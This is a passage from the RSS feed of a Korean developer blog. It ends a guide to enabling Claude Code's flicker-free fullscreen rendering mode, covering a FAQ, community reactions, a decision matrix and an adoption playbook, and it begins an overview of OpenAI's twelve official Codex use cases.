    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;tmux -CC(iTerm2 통합 모드)와 NO_FLICKER는 비호환이다. 일반 tmux 세션을 사용하거나,
      NO_FLICKER를 비활성화해야 한다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 스크롤이 너무 느리다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 20px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_SCROLL_SPEED&lt;/code&gt;를
      3~5 정도로 설정한다. 3이 vim 기본값과 동일하다.&lt;/p&gt;
    &lt;p style=&quot;font-weight: bold; margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 되돌리고 싶다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code
        style=&quot;background: rgba(0,0,0,0.06); padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_NO_FLICKER=0&lt;/code&gt;으로
      설정하거나 환경변수를 해제한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;커뮤니티 반응 종합
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://news.ycombinator.com/item?id=46699072&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN 토론&lt;/a&gt;에서는 두 가지 시각이 대립했다:
  &lt;/p&gt;
  &lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;flickering 해결을 환영하면서도, &quot;기본적인 TUI 문제가 9개월이나 걸렸다&quot;는 비판&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;React/JavaScript 기반 TUI 선택에 대한 의문 &amp;mdash; ncurses, Rust의 Ratatui, Go의 Bubbletea 같은
      전통 프레임워크가 적합하지 않았냐는 지적&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;두 비판 모두 근거가 있으나, React 기반 선택은 Claude Code의 복잡한 렌더링 요구(scene graph, layout, diff)에서 비롯된 것이며,
    단순한 TUI 출력 도구와 직접 비교하기 어렵다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이에 대해 chrislloyd는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://news.ycombinator.com/item?id=46701013&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN에서&lt;/a&gt; React 기반 파이프라인의 기술적
    이유를 설명했다. 핵심은 Claude Code의 렌더링이 단순한 TUI가 아니라 React scene graph &amp;rarr; layout &amp;rarr; rasterize &amp;rarr; diff라는 복잡한
    파이프라인이라는 점이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;boris_cherny는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X/Twitter에서&lt;/a&gt; &quot;대부분의 내부
    사용자가 기존 렌더러보다 NO_FLICKER 모드를 선호한다&quot;고 밝혔다. 적극적으로 반복 개선 중이며 피드백을 요청했다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;언제 쓰는가 / 언제
    쓰지 않는가&quot; 결정 매트릭스&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          환경/상황&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          권장&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          이유&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;VS Code 통합 터미널&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;xterm.js 렌더링 병목에서 효과가 가장 두드러진다&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;tmux (일반 세션)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;set -g mouse on&lt;/code&gt;
          추가 후 사용&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;iTerm2 (독립 실행)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;kitty 키보드 프로토콜 지원으로 Cmd+c도 동작&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;tmux -CC (iTerm2 통합)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;쓰지 마라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;alternate screen buffer 비호환&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;긴 대화 세션 (100+ 턴)&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜라&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화 길이와 무관하게 일정한 메모리/CPU&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;SSH + OSC 52 미지원 터미널&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;주의&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클립보드 복사가 작동하지 않을 수 있다&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;드문/특이한 터미널 에뮬레이터&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;테스트 후 결정&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;research preview 상태, 렌더링 이슈 가능&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마우스 없이 키보드만 사용&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;켜되 DISABLE_MOUSE=1 병용&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;flicker-free + flat memory 유지, 네이티브 선택 사용&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;요약하면, tmux -CC 환경이나 SSH over tmux 클립보드 경로가 불안정한 경우를 제외한 대부분의 시나리오에서 NO_FLICKER 모드를 켜는 것이
    이득이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 플레이북&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘&lt;/b&gt;: &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_NO_FLICKER=1 claude&lt;/code&gt;로
    현재 세션에서 테스트한다. 5분간 도구 호출이 많은 작업을 수행하며 깜빡임이 사라졌는지 확인한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주&lt;/b&gt;: 문제가 없다면 셸 프로파일에 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;export CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;을
    추가한다. tmux 사용자는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;set -g mouse on&lt;/code&gt;도
    확인한다. 스크롤 속도가 맞지 않으면 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_SCROLL_SPEED=3&lt;/code&gt;으로
    조정한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 반영&lt;/b&gt;: 팀 공유 dotfiles에 해당 환경변수를 추가한다. 단, tmux -CC 사용자가 있다면 해당 환경에서는 제외해야 한다. research
    preview 상태이므로 주요 업데이트 시 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://code.claude.com/docs/en/fullscreen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서&lt;/a&gt;를 재확인한다.&lt;/p&gt;
  &lt;!-- 결론 콜아웃 --&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;정리&lt;/p&gt;
    &lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 &lt;b&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/b&gt; 하나로 활성화되며, alternate
      screen buffer와 viewport 가상화를 통해 터미널 깜빡임을 근본적으로 제거한다. tmux -CC 환경을 제외한 대부분의 사용 환경에서 켜는 것이 이득이다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;!-- 참고자료 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
  &lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://code.claude.com/docs/en/fullscreen&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 문서 &amp;mdash;
        Fullscreen rendering&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://github.com/anthropics/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code GitHub 공식 저장소&lt;/a&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://news.ycombinator.com/item?id=46699072&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash; Claude
        Code NO_FLICKER 릴리즈 토론&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://news.ycombinator.com/item?id=46701013&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News &amp;mdash;
        chrislloyd 렌더링 파이프라인 설명&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://x.com/bcherny/status/2039421575422980329&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;boris_cherny X/Twitter
        &amp;mdash; NO_FLICKER 트레이드오프 공개&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://sathwick.xyz/blog/claude-code.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sathwick &amp;mdash; Claude Code
        렌더링 파이프라인 분석&lt;/a&gt;&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
        href=&quot;https://en.wikipedia.org/wiki/ANSI_escape_code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wikipedia &amp;mdash; ANSI
        escape code&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;!-- 푸터 --&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>alternate screen buffer</category>
      <category>claude code</category>
      <category>Claude Code NO_FLICKER</category>
      <category>Claude Code 깜빡임 문제</category>
      <category>Claude Code 터미널 깜빡임</category>
      <category>fullscreen rendering</category>
      <category>NO_FLICKER</category>
      <category>NO_FLICKER 모드</category>
      <category>terminal flicker</category>
      <category>viewport virtualization</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/574</guid>
      <comments>https://goddaehee.tistory.com/574#entry574comment</comments>
      <pubDate>Thu, 2 Apr 2026 19:30:36 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Codex 공식 유즈케이스 12가지 살펴보기 : Codex로 뭘 할 수 있나? 공식 12가지 사례 한국어 정리</title>
      <link>https://goddaehee.tistory.com/573</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; color: #333; box-sizing: border-box;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; color: #333; box-sizing: border-box; padding: 0 16px;&quot;&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;Article&quot;,
  &quot;headline&quot;: &quot;OpenAI Codex 공식 활용 사례 12가지 완전 가이드 2026&quot;,
  &quot;description&quot;: &quot;OpenAI가 공식 문서로 정리한 Codex 활용 사례 12가지를 심층 분석. 스타터 프롬프트 패턴, 카테고리별 실전 적용 방법, 한국 개발자를 위한 시작 로드맵까지.&quot;,
  &quot;datePublished&quot;: &quot;2026-03-30&quot;,
  &quot;author&quot;: {&quot;@type&quot;: &quot;Person&quot;, &quot;name&quot;: &quot;갓대희&quot;},
  &quot;publisher&quot;: {&quot;@type&quot;: &quot;Organization&quot;, &quot;name&quot;: &quot;갓대희의 블로그&quot;},
  &quot;mainEntityOfPage&quot;: {&quot;@type&quot;: &quot;WebPage&quot;}
}
&lt;/script&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 OpenAI Codex 공식 유즈케이스 12가지, Codex로 뭘 할 수 있나 공식문서를 리뷰해보려고한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6DWQ5/dJMcabRdel9/BWzIf3sS2qWhPNK4mxJ2Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6DWQ5/dJMcabRdel9/BWzIf3sS2qWhPNK4mxJ2Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6DWQ5/dJMcabRdel9/BWzIf3sS2qWhPNK4mxJ2Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6DWQ5%2FdJMcabRdel9%2FBWzIf3sS2qWhPNK4mxJ2Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2360&quot; height=&quot;1534&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1534&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 목차 ===== --&gt;
&lt;div style=&quot;background-color: #f8fbff; border: 2px solid #cce5ff; border-radius: 12px; padding: 24px 28px; margin: 24px 0;&quot;&gt;
&lt;p style=&quot;font-size: 17px; font-weight: bold; color: #1a3a52; margin: 0 0 14px 0;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 22px; line-height: 2.0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#intro&quot;&gt;Codex가 뭔지 모르는 사람을 위한 30초 정리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#why-now&quot;&gt;왜 지금 이 공식 문서가 중요한가&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#map&quot;&gt;12가지 유즈케이스 전체 지도&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#engineering&quot;&gt;Engineering 심층: PR 리뷰 &amp;middot; 코드베이스 이해 &amp;middot; 어려운 문제 반복&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#frontend&quot;&gt;Front-end 심층: 반응형 디자인 &amp;middot; Figma&amp;rarr;코드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#data-automation&quot;&gt;Data &amp;amp; Automation: 데이터 분석 &amp;middot; 슬라이드 &amp;middot; Slack &amp;middot; API 업그레이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#mobile-chatgpt&quot;&gt;Mobile &amp;amp; ChatGPT: iOS 앱 &amp;middot; ChatGPT 앱 &amp;middot; 브라우저 게임&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#prompt-patterns&quot;&gt;스타터 프롬프트 패턴 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#roadmap&quot;&gt;한국 개발자를 위한 실전 시작 로드맵&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#conclusion&quot;&gt;결론: 공식 유즈케이스의 진짜 가치&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#workflow&quot;&gt;부록: 이 글을 만든 AI 워크플로우 (/deep-research-blog)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#references&quot;&gt;참고 자료&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ===== 3줄 요약 ===== --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; border-radius: 0 8px 8px 0; padding: 20px 24px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #0066cc; margin: 0 0 10px 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글 3줄 요약&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenAI가 Codex 공식 활용 사례 12가지를 카테고리&amp;middot;난이도&amp;middot;스타터 프롬프트와 함께 정리했다.&lt;/li&gt;
&lt;li&gt;&quot;뻔한 내용&quot;이라는 반응을 뒤집는 심층 분석: 프롬프트 패턴과 AGENTS.md 시스템이 핵심이다.&lt;/li&gt;
&lt;li&gt;초보자는 Easy 4개(PR 리뷰, 코드베이스 이해, Slack, 슬라이드 덱)부터, 중급자는 Intermediate 5개로 확장하면 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 1 ===== --&gt;
&lt;h2 id=&quot;intro&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Codex가 뭔지 모르는 사람을 위한 30초 정리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI Codex는 코드를 생성&amp;middot;이해&amp;middot;검토&amp;middot;디버그하는 AI 코딩 에이전트이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT의 채팅 인터페이스와 달리 &lt;b&gt;클라우드 환경에서 독립적으로 긴 작업을 수행&lt;/b&gt;한다. 사용자가 지시하면 Codex는 파일을 읽고, 코드를 수정하고, 테스트를 실행하고, 결과를 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에 따르면 Codex는 다음 구독 플랜에서 사용 가능하다: &lt;b&gt;ChatGPT Plus, Pro, Business, Edu, Enterprise&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;developers.openai.com/codex&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 14px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold;&quot;&gt;인터페이스&lt;/th&gt;
&lt;th style=&quot;padding: 12px 14px; border: 1px solid #b3d9ff; text-align: left; font-weight: bold;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;Codex App&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;프로젝트 사이드바, 스레드 목록, 리뷰 패널이 있는 데스크톱 앱&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;IDE Extension&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;슬래시 커맨드를 지원하는 IDE 통합 플러그인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;CLI&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;터미널 기반 인터페이스 (레퍼런스 문서 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;Web Interface&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;환경 관리 기능이 있는 클라우드 웹 인터페이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;Integrations&lt;/td&gt;
&lt;td style=&quot;padding: 11px 14px; border: 1px solid #dde8f0;&quot;&gt;GitHub, Slack, Linear 연동 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; border-radius: 0 8px 8px 0; padding: 16px 20px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code와의 차이점:&lt;/b&gt; Claude Code는 로컬 터미널에서 실행되는 Anthropic의 CLI 도구다. Codex는 OpenAI의 클라우드 에이전트로 GitHub&amp;middot;Slack 통합에 강하다. 각자의 생태계에 최적화되어 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== 섹션 2 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;why-now&quot; style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 왜 지금 이 공식 문서가 중요한가&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월, OpenAI는 &lt;a href=&quot;https://developers.openai.com/codex/use-cases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 Codex Use Cases 페이지&lt;/a&gt;를 공개했다. 한국 개발자 커뮤니티 GeekNews에서 이 소식이 공유됐을 때, 한 개발자는 &quot;공식 활용 예제라 기대했더니 뻔한 내용밖에 없네&quot;라는 댓글을 달았다. (출처: &lt;a href=&quot;https://news.hada.io/topic?id=27938&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews #27938&lt;/a&gt;)&lt;/p&gt;
